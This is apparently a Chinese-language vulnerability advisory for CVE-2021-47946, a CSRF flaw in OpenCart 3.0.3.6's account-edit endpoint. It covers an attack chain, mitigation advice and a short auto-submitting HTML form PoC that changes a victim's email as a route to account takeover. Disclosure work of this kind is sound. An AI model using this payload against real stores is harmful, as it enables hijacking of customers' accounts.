IPBUF安全漏洞报告
English
CVE-2021-47946 CVSS 5.3 中危

CVE-2021-47946 OpenCart 跨站请求伪造漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47946
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenCart

相关标签

CSRFOpenCart账户接管Web安全

漏洞概述

OpenCart 3.0.3.6 版本在 /account/edit 端点存在跨站请求伪造(CSRF)漏洞。由于缺少有效的令牌验证机制,未经身份验证的攻击者可诱导受害者访问恶意页面。一旦触发,受害者浏览器将自动发送请求修改账户关键信息(如邮箱)。攻击者随后利用密码重置功能,通过新邮箱重置密码,从而接管受害者账户。

技术细节

该漏洞原理在于 OpenCart 未在账户修改请求中强制检查 CSRF Token 或 Referer 来源。攻击者构造恶意 HTML 页面,通过 JavaScript 自动向目标服务器 /account/edit 接口发起 POST 请求。由于受害者浏览器携带了有效 Cookie,服务器误以为是用户合法操作,执行了数据修改。攻击者利用此漏洞更改账户绑定邮箱后,结合“忘记密码”功能,即可验证新邮箱并重置密码,实现账户完全控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标是运行 OpenCart 3.0.3.6 的网站。
STEP 2
武器化
攻击者构造包含恶意 HTML 表单的网页,该表单指向 /account/edit 端点并包含修改邮箱的参数。
STEP 3
交付
攻击者通过钓鱼邮件或社交媒体将恶意链接发送给已登录的目标受害者。
STEP 4
利用
受害者访问链接,浏览器自动提交请求,服务器执行修改邮箱的操作。
STEP 5
安装/后门
攻击者使用被篡改的新邮箱地址请求密码重置,获取重置链接并设置新密码,从而接管账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<html> <body> <!-- Proof of Concept for CVE-2021-47946 --> <!-- Change 'target-site.com' to the actual OpenCart domain --> <form action="http://target-site.com/index.php?route=account/edit" method="POST"> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="firstname" value="Hacked" /> <input type="hidden" name="lastname" value="Account" /> </form> <script> // Auto-submit the form to trigger the request document.forms[0].submit(); </script> </body> </html>

影响范围

OpenCart 3.0.3.6

防御指南

临时缓解措施
建议管理员立即检查并升级 OpenCart 至修复了该漏洞的最新版本。若无法立即升级,应实施 Web 应用防火墙(WAF)规则以拦截针对 /account/edit 端点的异常外部请求,并在服务器端添加 Referer 检查以限制请求来源。同时,提醒用户不要轻易点击不明链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表